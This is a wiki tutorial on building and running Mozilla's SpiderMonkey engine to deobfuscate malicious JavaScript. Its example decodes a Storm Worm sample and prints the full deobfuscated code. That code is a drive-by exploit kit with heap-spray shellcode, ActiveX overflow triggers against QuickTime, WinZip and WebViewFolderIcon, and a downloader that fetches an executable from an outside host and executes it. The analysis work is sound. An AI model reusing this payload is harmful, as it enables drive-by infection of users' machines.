SpiderMonkey

From aldeid
Jump to navigation Jump to search

Description

SpiderMonkey is Mozilla's JavaScript engine written in C/C++. It is used in various Mozilla products, including Firefox, and is available under the MPL2.

Installation

Original version

$ cd /data/tools/
$ wget http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz
$ tar xzvf mozjs17.0.0.tar.gz
$ mv mozjs17.0.0/ spidermonkey/
$ cd spidermonkey/js/src/
$ ./configure
$ make

At this stage, and if the compilation successfully ended, you should be able to start SpiderMonkey as follows:

$ cd js/src/
$ ./js17

Such a prompt should appear:

js> print('hello');
hello

Modified versions

Didier Stevens

The original version does not support some functions, such as document.write:

js> document
typein:1:0 ReferenceError: document is not defined

Didier Stevens has written a modified version that, among other methods, fills this gap. You can download it from here: http://www.didierstevens.com/files/software/js-1.7.0-mod.tar.gz

REMnux

REMnux has also a modified version of SpiderMonkey.

Usage

Syntax

Usage: ./js17 [options] [[script] scriptArgs*]

Options

-f --file=PATH
File path to run
-e --execute=CODE
Inline code to run
-i --shell
Enter prompt after running code
-m --methodjit
Enable the JaegerMonkey method JIT
-n --typeinfer
Enable type inference
-c --compileonly
Only compile, don':t run (syntax checking mode)
-d --debugjit
Enable runtime debug mode for method JIT code
-a --always-mjit
Do not try to run in the interpreter before method jitting.
-D --dump-bytecode
Dump bytecode with exec count for all scripts
-b --print-timing
Print sub-ms runtime for each file that's run
-U --utf8
C strings passed to the JSAPI are UTF-8 encoded

Example

Obfuscated code

Let's analyze an obfuscated JavaScript with SpiderMonkey. The below code is an extract of the Storm Worm:

$ cat /data/tmp/malware/storm.js 
function xor_str(plain_str, xor_key){ var xored_str = "";
for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
return xored_str; } var plain_str = "\x94\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe
[SNIP]
\xd2\x94\x9c\x95\x94\xf9\xf0\x86\xf7\x9c\x9d\x94\x9d\x94\xcf\x94\xc7\xc0\xd5\xc6\xc0\xfb\xc2\xd1\xc6
\xd2\xd8\xdb\xc3\x9c\x84\x9d\x8f\x94\xc9\xbe\xbe\xc9\xbe\xbe\xc7\xc0\xd5\xc6\xc0\x9c\x9d\x8f\xbe";
var xored_str = xor_str(plain_str, 180); document.write(xored_str);

document is not defined

As you can notice, the code makes use of the document.write method, not supported by SpiderMonkey:

$ ./js17 -f /data/tmp/malware/storm.js 
/data/tmp/malware/storm.js:1:59515 ReferenceError: document is not defined

Bypass the limitation

Manual replacement

We can easily replace this method with print:

$ sed "s/document.write/print/g" /data/tmp/malware/storm.js | ./js17 -f - | indent
var xd =
  "var x = new ActiveXObject('Mic'+'ros'+'oft.X'+'MLHTTP');x.Open('GET','http://tibeam.com/file.php',0);x.Send();var s=new ActiveXObject('ADODB.Stream');s.Mode = 3;s.Type = 1;s.Open();s.Write(x.responseBody);s.SaveToFile('../tm.exe',2); ";
ed = escape (xd);
var url =
  'res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript%20language%3D%27jscript%27%3Ea%3Dnew%20ActiveXObject%28%27Shell.Application%27%29%3B'
  + ed +
  'a.ShellExecute%28%27../tm.exe%27%29%3B%3C/script%3E%3C%21--//%7C0%7C0%7C0%7C0%7C0%7C0%7C0%7C0';
document.location = url;

var mm = new Array ();
var mem_flag = 0;

function
h ()
{
  mm = mm;
  setTimeout ("h()", 2000);
}

function
getb (b, bSize)
{
  while (b.length * 2 < bSize)
    {
      b += b;
    }
  b = b.substring (0, bSize / 2);
  return b;
}

function
cf ()
{
  var zc = 0x0c0c0c0c;
  var a = unescape ("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
		    "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb"
		    +
		    "%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7"
		    +
		    "%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"
		    +
		    "%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85"
		    +
		    "%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa"
		    +
		    "%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"
		    +
		    "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc"
		    +
		    "%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba"
		    +
		    "%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"
		    +
		    "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c"
		    +
		    "%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4"
		    +
		    "%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"
		    +
		    "%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u742F%u6269%u6165%u2E6D%u6F63%u2F6D%u6966%u656C%u702E%u7068");
  var heapBl2ckSize = 0x400000;
  var pls = a.length * 2;
  var bSize = heapBl2ckSize - (pls + 0x38);
  var b = unescape ("%u0c0c%u0c0c");
  b = getb (b, bSize);
  heapBl2cks = (zc - 0x400000) / heapBl2ckSize;

  for (i = 0; i < heapBl2cks; i++)
    {
      mm[i] = b + a;
    }

  mem_flag = 1;
  h ();
  return mm;
}

function
startWVF ()
{
  for (i = 0; i < 128; i++)
    {
      try
      {
	var tar =
	  new ActiveXObject ('WebVi' + 'ewFol' + 'de' + 'rIc' + 'on.WebVi' +
			     'ewFol' + 'derI' + 'con.1');
	d = 0x7ffffffe;
	b = 0x0c0c0c0c tar.setSlice (d, b, b, b);
      }
      catch (e)
      {
      }
    }
}

function
startWinZip (object)
{
  var xh = 'A';
  while (xh.length < 231)
    xh += 'A';
  xh += "\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
  object.CreateNewFolderFromName (xh);
}

function
startOverflow (num)
{
  if (num == 0)
    {
      try
      {
	var qt = new ActiveXObject ('Quick' + 'Time.Qu' + 'ickTime');
	if (qt)
	  {
	    var qthtml =
	      '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" style="border:0px">'
	      + '<param name="src" value="qt.php">' +
	      '<param name="autoplay" value="true">' +
	      '<param name="loop" value="false">' +
	      '<param name="controller" value="true">' + '</object>';
	    if (!mem_flag)
	      cf ();
	    document.getElementById ('myd' + 'iv').innerHTML = qthtml;
	    num = 255;
	  }
      }
      catch (e)
      {
      }

      if (num = 255)
	setTimeout ("startOverflow(1)", 2000);
      else
	startOverflow (1);

    }
  else if (num == 1)
    {
      try
      {
	var winzip = document.createElement ("object");
	winzip.setAttribute ("classid",
			     "clsid:A09AE6" + "8F-B14D-43" + "ED-B713-BA413" +
			     "F034904");

	var ret = winzip.CreateNewFolderFromName (unescape ("%00"));
	if (ret == false)
	  {
	    if (!mem_flag)
	      cf ();
	    startWinZip (winzip);
	    num = 255;
	  }

      }
      catch (e)
      {
      }

      if (num = 255)
	setTimeout ("startOverflow(2)", 2000);
      else
	startOverflow (2);

    }
  else if (num == 2)
    {

      try
      {
	var tar =
	  new ActiveXObject ('WebVi' + 'ewFol' + 'derIc' + 'on.WebVi' +
			     'ewFol' + 'derI' + 'con.1');
	if (tar)
	  {
	    if (!mem_flag)
	      cf ();
	    startWVF ();
	  }
      }
      catch (e)
      {
      }


    }
}


function
GetRandString (len)
{
  var chars = "abcdefghiklmnopqrstuvwxyz";
  var string_length = len;
  var randomstring = ;
  for (var i = 0; i < string_length; i++)
    {
      var rnum = Math.floor (Math.random () * chars.length);
      randomstring += chars.substring (rnum, rnum + 1);
    }

  return randomstring;
}

function
CreateObject (CLSID, name)
{
  var r = null;
  try
  {
  eval ('r = CLSID.CreateObject(name)')}
  catch (e)
  {
  }
  if (!r)
    {
      try
      {
	s = 1;
      eval ('r = CLSID.CreateObject(name, "")')}
      catch (e)
      {
      }
    }
  if (!r)
    {
      try
      {
	s = 1;
      eval ('r = CLSID.CreateObject(name, "", "")')}
      catch (e)
      {
      }
    }
  if (!r)
    {
      try
      {
	s = 1;
      eval ('r = CLSID.GetObject("", name)')}
      catch (e)
      {
      }
    }
  if (!r)
    {
      try
      {
	s = 1;
      eval ('r = CLSID.GetObject(name, "")')}
      catch (e)
      {
      }
    }
  if (!r)
    {
      try
      {
	s = 1;
      eval ('r = CLSID.GetObject(name)')}
      catch (e)
      {
      }
    }
  return (r);
}

function
XMLHttpDownload (xml, url)
{

  try
  {
    xml.open ("GET", url, false);
    xml.send (null);

  }
  catch (e)
  {
    return 0;
  }

  return xml.responseBody;
}

function
AD2BDStreamSave (o, name, data)
{

  try
  {
    o.Type = 1;
    o.Mode = 3;
    o.Open ();
    o.Write (data);
    o.SaveToFile (name, 2);
    o.Close ();
  }
  catch (e)
  {
    return 0;
  }

  return 1;
}

function
ShellExecute (exec, name, type)
{

  if (type == 0)
    {
      try
      {
	exec.Run (name, 0);
	return 1;
      }
      catch (e)
      {
      }
    }
  else
    {
      try
      {
	exe.ShellExecute (name);
	return 1;
      }
      catch (e)
      {
      }
    }

  return (0);

}

function
MD2C ()
{
  var t =
    new Array ('{BD96C5' + '56-65A3-11' + 'D0-983A-00C04FC' + '29E30}',
	       '{BD96C' + '556-65A3-11' + 'D0-983A-00C0' + '4FC29E36}',
	       '{AB9B' + 'CEDD-EC7E-47' + 'E1-9322-D4A21' + '0617116}',
	       '{0006F' + '033-0000-0000-C000-000000' + '000046}',
	       '{0006' + 'F03A-0000-0000-C000-0000000' + '00046}',
	       '{6e32' + '070a-766d-4ee6-879c-dc1fa' + '91d2fc3}',
	       '{6414' + '512B-B978-451D-A0D8-FCFDF3' + '3E833C}',
	       '{7F5B' + '7F63-F06F-4331-8A26-339E03' + 'C0AE3D}',
	       '{0672' + '3E09-F4C2-43' + 'c8-8358-09FCD1D' + 'B0766}',
	       '{639F' + '725F-1B2D-48' + '31-A9FD-87484' + '7682010}',
	       '{BA018' + '599-1DB3-44f' + '9-83B4-46145' + '4C84BF8}',
	       '{D0C07' + 'D56-7C69-43F1-B4' + 'A0-25F5A1' + '1FAB19}',
	       '{E8C' + 'CCDDF-CA28-496b-B' + '050-6C07C962' + '476B}', null);
  var v = new Array (null, null, null);
  var i = 0;
  var n = 0;
  var ret = 0;
  var urlRealExe = 'http://tibeam.com/file.php';

  while (t[i] && (!v[0] || !v[1] || !v[2]))
    {
      var a = null;

      try
      {
	a = document.createElement ("object");
	a.setAttribute ("classid",
			"clsid:" + t[i].substring (1, t[i].length - 1));
      }
      catch (e)
      {
	a = null;
      }

      if (a)
	{
	  if (!v[0])
	    {
	      v[0] = CreateObject (a, "msxml2.XMLHTTP");
	      if (!v[0])
		v[0] = CreateObject (a, "Microso" + "ft.XM" + "LHT" + "TP");
	      if (!v[0])
		v[0] =
		  CreateObject (a,
				"MSX" + "ML2.Se" + "rverXM" + "LHT" + "TP");
	    }

	  if (!v[1])
	    {
	      v[1] = CreateObject (a, "ADOD" + "B.Str" + "eam");
	    }

	  if (!v[2])
	    {
	      v[2] = CreateObject (a, "WSc" + "ript.Sh" + "ell");
	      if (!v[2])
		{
		  v[2] =
		    CreateObject (a, "Shel" + "l.Ap" + "pl" + "icati" + "on");
		  if (v[2])
		    n = 1;
		}
	    }
	}

      i++;
    }

  if (v[0] && v[1] && v[2])
    {
      var data = XMLHttpDownload (v[0], urlRealExe);
      if (data != 0)
	{
	  var name = "c:\\sys" + GetRandString (4) + ".exe";
	  if (AD2BDStreamSave (v[1], name, data) == 1)
	    {
	      if (ShellExecute (v[2], name, n) == 1)
		{
		  ret = 1;
		}
	    }
	}
    }

  return ret;
}

function
start ()
{

  if (!MD2C ())
    {
      startOverflow (0);
    }

}

start ();

Define custom definitions

We can also define custom methods:

$ cat /data/tmp/def.js 
document = {
    write:print,
    writeln:print
};
eval = function(input_string) {
    print(input_string);
}

And then call SpiderMonkey as follows:

$ ./js17 -f /data/tmp/def.js -f /data/tmp/malware/storm.js
Note
For a more complete def.js file, you can refer to the one written by Lenny Zeltser: def.js

Comments